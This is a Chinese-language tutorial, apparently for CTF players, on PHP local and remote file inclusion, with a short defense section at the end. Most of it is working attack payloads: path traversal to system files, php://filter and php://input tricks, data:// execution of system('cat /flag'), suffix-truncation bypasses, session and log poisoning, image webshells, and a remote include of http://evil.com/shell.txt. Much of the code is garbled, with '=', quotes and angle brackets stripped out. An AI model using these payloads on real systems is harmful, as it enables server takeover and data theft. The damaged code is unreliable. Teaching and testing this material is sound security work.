)
一、漏洞原理文件包含漏洞File Inclusion是指 Web 应用在包含文件时未对用户输入的文件路径做充分过滤导致攻击者可以包含任意文件从而读取源码、执行任意代码、甚至控制服务器。核心成因应用中使用了动态文件包含函数且参数用户可控未做白名单限制。与文件读取漏洞的区别文件读取仅读取文件内容如file_get_contents()不能执行 PHP 代码文件包含会将文件作为代码执行如include()即使文件是.jpg后缀只要内容有?php ... ?也会被执行常见危险函数PHP函数说明特点include()包含并执行文件文件不存在时产生警告但继续执行漏洞利用首选require()包含并执行文件文件不存在时产生致命错误并停止同 includeinclude_once()同 include但同一文件只包含一次限制重复包含require_once()同 require但同一文件只包含一次限制重复包含典型脆弱代码?php$file$_GET[page];include($file..php);?访问?pageindex会包含index.php但如果访问?page../../../etc/passwd就可能读取系统文件。二、文件包含的分类2.1 本地文件包含LFILocal File Inclusion只能包含服务器本地的文件。利用方式读取系统文件/etc/passwd、/flag读取源码使用php://filter包含日志文件或 session 文件Getshell包含/proc/self/environ等2.2 远程文件包含RFIRemote File Inclusion可以包含远程服务器上的文件直接 getshell。需要allow_url_include OnPHP 5.2 后默认关闭现已少见。利用方式在自己的 VPS 上放置恶意 PHP 文件直接包含?pagehttp://evil.com/shell.txt服务端执行 shell.txt 中的 PHP 代码注意现代 PHP 默认关闭远程包含CTF 中 RFI 较少见除非题目明确提示。三、PHP 伪协议利用LFI 核心技能PHP 提供了一系列伪协议可在文件包含中发挥巨大作用。这些是 CTF 中文件包含题目的核心考点。3.1 php://filter读取源码功能对文件内容进行过滤后再输出常用于读取源码而不执行。语法php://filter/readconvert.base64-encode/resource文件名CTF 用途读取 PHP 源码Base64 编码后返回防止被服务器执行读取/flag等非 PHP 文件示例?pagephp://filter/convert.base64-encode/resourceindex ?pagephp://filter/convert.base64-encode/resource/flag绕过固定后缀当后端代码include($file . .php)强制添加.php后缀时使用php://filter不需要指定后缀且resource指向的文件名不受后缀影响可直接读取/flag原始内容。读取其他文件?pagephp://filter/convert.base64-encode/resource../etc/passwd3.2 php://inputPOST 传递代码功能读取 POST 请求体中的原始数据并执行。条件allow_url_include On利用方式URL:?pagephp://inputPOST Body:?php system(cat /flag);?使用场景无法写入文件但allow_url_includeOn时直接通过 POST 传递代码。注意php://input不能读取multipart/form-data的数据需要用application/x-www-form-urlencoded或 raw data。3.3 data://数据流协议功能直接在 URL 中嵌入数据作为文件内容执行。条件allow_url_include On语法data://text/plain,?php system(cat /flag);? data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg示例?pagedata://text/plain,?php phpinfo();? ?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg注意Base64 后的内容不需要?php ?包裹也可以但通常加上更完整。3.4 file://文件系统协议功能直接访问本地文件系统。语法file:///etc/passwd file:///var/www/html/flag.php特点类似于直接路径穿越但在某些过滤场景下可能绕过 WAF。3.5 zip:// 和 phar://压缩包协议功能直接访问压缩包内的文件常用于配合文件上传漏洞。条件需要服务器上存在可控的压缩文件如已上传的.zip、.phar文件。利用方式制作一个包含 PHP 代码的压缩包如shell.zip里面有shell.php上传该压缩包绕过上传检测通过文件包含执行压缩包内的脚本?pagephar://uploads/shell.zip/shell ?pagezip://uploads/shell.zip%23shell%23是#的 URL 编码zip 协议中用#分隔压缩包路径和内部文件名注意phar://不需要allow_url_includeOn是 LFI 的本地协议非常实用。3.6 expect://命令执行功能执行系统命令。条件PHP 安装了expect扩展极少见。语法?pageexpect://whoami ?pageexpect://cat /flag3.7 各协议对比总结协议条件用途CTF 常见度php://filter无需特殊权限读取源码/base64★★★★★php://inputallow_url_includeOn执行任意代码★★★★data://allow_url_includeOn执行任意代码★★★★file://无需特殊权限读取文件★★★zip:///phar://需上传压缩包解压并执行★★★expect://需安装 expect 扩展命令执行★四、绕过固定后缀的技巧许多题目会强制添加后缀如include($_GET[page] . .php); include($_GET[page] . .html);4.1 使用 php://filter最佳方案php://filter伪协议本身不需要后缀且resource后面的路径不受追加后缀影响部分版本。适用于直接读任意文件。?pagephp://filter/convert.base64-encode/resource/flag4.2 %00 截断旧版 PHP 5.3.4条件magic_quotes_gpc Off?page../../../etc/passwd%00%00是空字节C 语言处理字符串时遇到空字节就会截断后面的.php被忽略。4.3 路径长度截断旧版 PHP 5.2.8PHP 对路径有长度限制通常 4096 字符。传入超长路径时追加的后缀会被截断。?page../../../etc/passwd/./././././... (重复很多次)4.4 点号截断Windows 环境Windows 文件系统会自动去掉文件名末尾的点号和空格。?page../../../etc/passwd....... ?page../../../etc/passwd%204.5 利用 zip/phar 协议include($_GET[page] . .php);如果传入?pagephar://uploads/shell.zip/shell实际拼接为phar://uploads/shell.zip/shell.php但phar://协议只取#或外部指定文件名所以仍可执行。五、Session 文件包含LFI Getshell 重要方法当allow_url_includeOff且没有文件上传点可利用时Session 文件包含是经典手法。5.1 原理PHP Session 默认存储在/tmp/sess_PHPSESSID文件中。如果我们可以控制 Session 的内容例如通过用户名注册或登录时写入并且在 Session 文件中插入了 PHP 代码就可以通过文件包含漏洞包含 Session 文件来执行代码。5.2 利用步骤找到 Session 存储路径常见路径/tmp/sess_xxxLinux、/var/lib/php/session/sess_xxx可通过phpinfo()查看session.save_path或读取配置文件在 Session 中写入 PHP 代码在登录/注册页面的任意可控字段如用户名中写入?php system(cat /flag);?发起请求设置 Cookie 为PHPSESSIDxxx包含 Session 文件?page/tmp/sess_xxx代码执行拿到 Flag。六、日志文件包含LFI Getshell 另一重要方法6.1 原理Web 服务器的访问日志会记录每个 HTTP 请求的 URL 和 User-Agent。如果在 User-Agent 或 URL 中插入 PHP 代码这些代码会被写入日志文件。再通过文件包含漏洞包含日志文件即可执行代码。6.2 利用步骤确定日志文件路径Apache/var/log/apache2/access.log或/var/log/httpd/access_logNginx/var/log/nginx/access.log可通过读取配置文件确认在请求中插入 PHP 代码使用 Burp Suite 抓包修改 User-Agent 为?php system(cat /flag);?或直接访问/?php system(cat /flag);?包含日志文件?page/var/log/apache2/access.log日志文件中的 PHP 代码被执行拿到 Flag。注意日志文件通常较大可能导致页面加载缓慢。可先用php://filter读取日志确认注入成功或用精确的路径穿越避免超时。6.3 SSH 日志包含如果 Web 服务器也运行 SSH可以尝试SSH 连接服务器在用户名中输入?php system(cat /flag);?认证失败后该用户名会记录在/var/log/auth.log包含该日志文件执行代码条件/var/log/auth.log对 Web 用户可读通常不可读需要特定权限配置。七、其他利用技巧7.1 /proc 伪文件系统Linux/proc/self/environ当前进程的环境变量可能包含敏感信息/proc/self/fd/[0-9]*当前进程打开的文件描述符可能包含日志、临时文件等/proc/self/cmdline当前进程的命令行参数7.2 包含图片马结合文件上传漏洞上传包含 PHP 代码的图片图片马再通过文件包含漏洞包含该图片?pageuploads/shell.jpg图片马中即使有图片二进制数据只要其中包含?php ... ?PHP 解析器就会忽略非 PHP 代码部分执行其中的 PHP 代码。制作图片马copy /b normal.jpg shell.php payload.jpgcat normal.jpg shell.php payload.jpg7.3 包含临时文件条件竞争PHP 上传文件时会先保存为临时文件/tmp/phpXXXXXX在脚本执行结束后删除。如果能在文件被删除前通过文件包含执行它就可以 Getshell。利用方法多线程并发包含可能的临时文件名同时不停上传文件存在竞争窗口。八、CTF 实战示例从 LFI 到 Getshell题目描述一个网站URL 为?pagehome显示不同页面。存在文件包含漏洞。目标获取/flag。步骤漏洞确认尝试?page../../../../etc/passwd返回系统用户文件确认存在 LFI。判断 PHP 与读取源码使用php://filter读取首页源码?pagephp://filter/convert.base64-encode/resourceindex返回 Base64解码后得到index.php源码。发现代码为?php include($_GET[page] . .php); ?确认后缀为.php需要绕过。尝试直接读 Flag?pagephp://filter/convert.base64-encode/resource/flag成功返回 Base64解码得到 Flag。题目结束。如果 Flag 不是独立文件而是存在数据库中则需要进一步 Getshell。若需 GetshellRFI/伪协议不可用时尝试日志包含访问http://target.com/?php system(cat /flag);?URL 中注入代码包含日志?page../../../../var/log/apache2/access.log成功执行拿到 Flag。若日志不可读尝试 Session 包含在登录框的用户名处输入?system(cat /flag);?获取 Cookie 中的 PHPSESSID包含 Session 文件?page../../../../tmp/sess_xxxx代码执行拿到 Flag。若所有方法都失败尝试/proc/self/environ?page../../../../proc/self/environ查看环境变量可能直接暴露 Flag。九、常见防御措施白名单限制这是最安全的防御。使用switch或数组映射仅允许包含预定义文件$pages [home home.php, about about.php]; if (isset($pages[$_GET[page]])) { include($pages[$_GET[page]]); }过滤危险字符过滤../、..\、php://等但容易被绕过不推荐作为唯一防御。禁用危险函数disable_functions禁用system、exec等即使 getshell 也无法执行系统命令。限制allow_url_include设置为Off阻止远程文件包含和php://input、data://等。设置open_basedir限制 PHP 可访问的文件目录防止穿越到系统目录。日志文件权限控制Web 用户不应有读取系统日志的权限。禁用不必要的伪协议高版本 PHP 默认已关闭大部分危险协议。十、总结文件包含漏洞的核心是将用户输入作为代码执行危害远大于普通文件读取。CTF 中 LFI 的核心武器是PHP 伪协议尤其是php://filter读源码和php://input/data://执行代码。当伪协议不可用时日志包含和Session 包含是经典的 Getshell 手法。绕过固定后缀有多种方法php://filter是最优雅的解决方案。防御必须以白名单为主伪协议禁用、目录限制和权限控制为辅。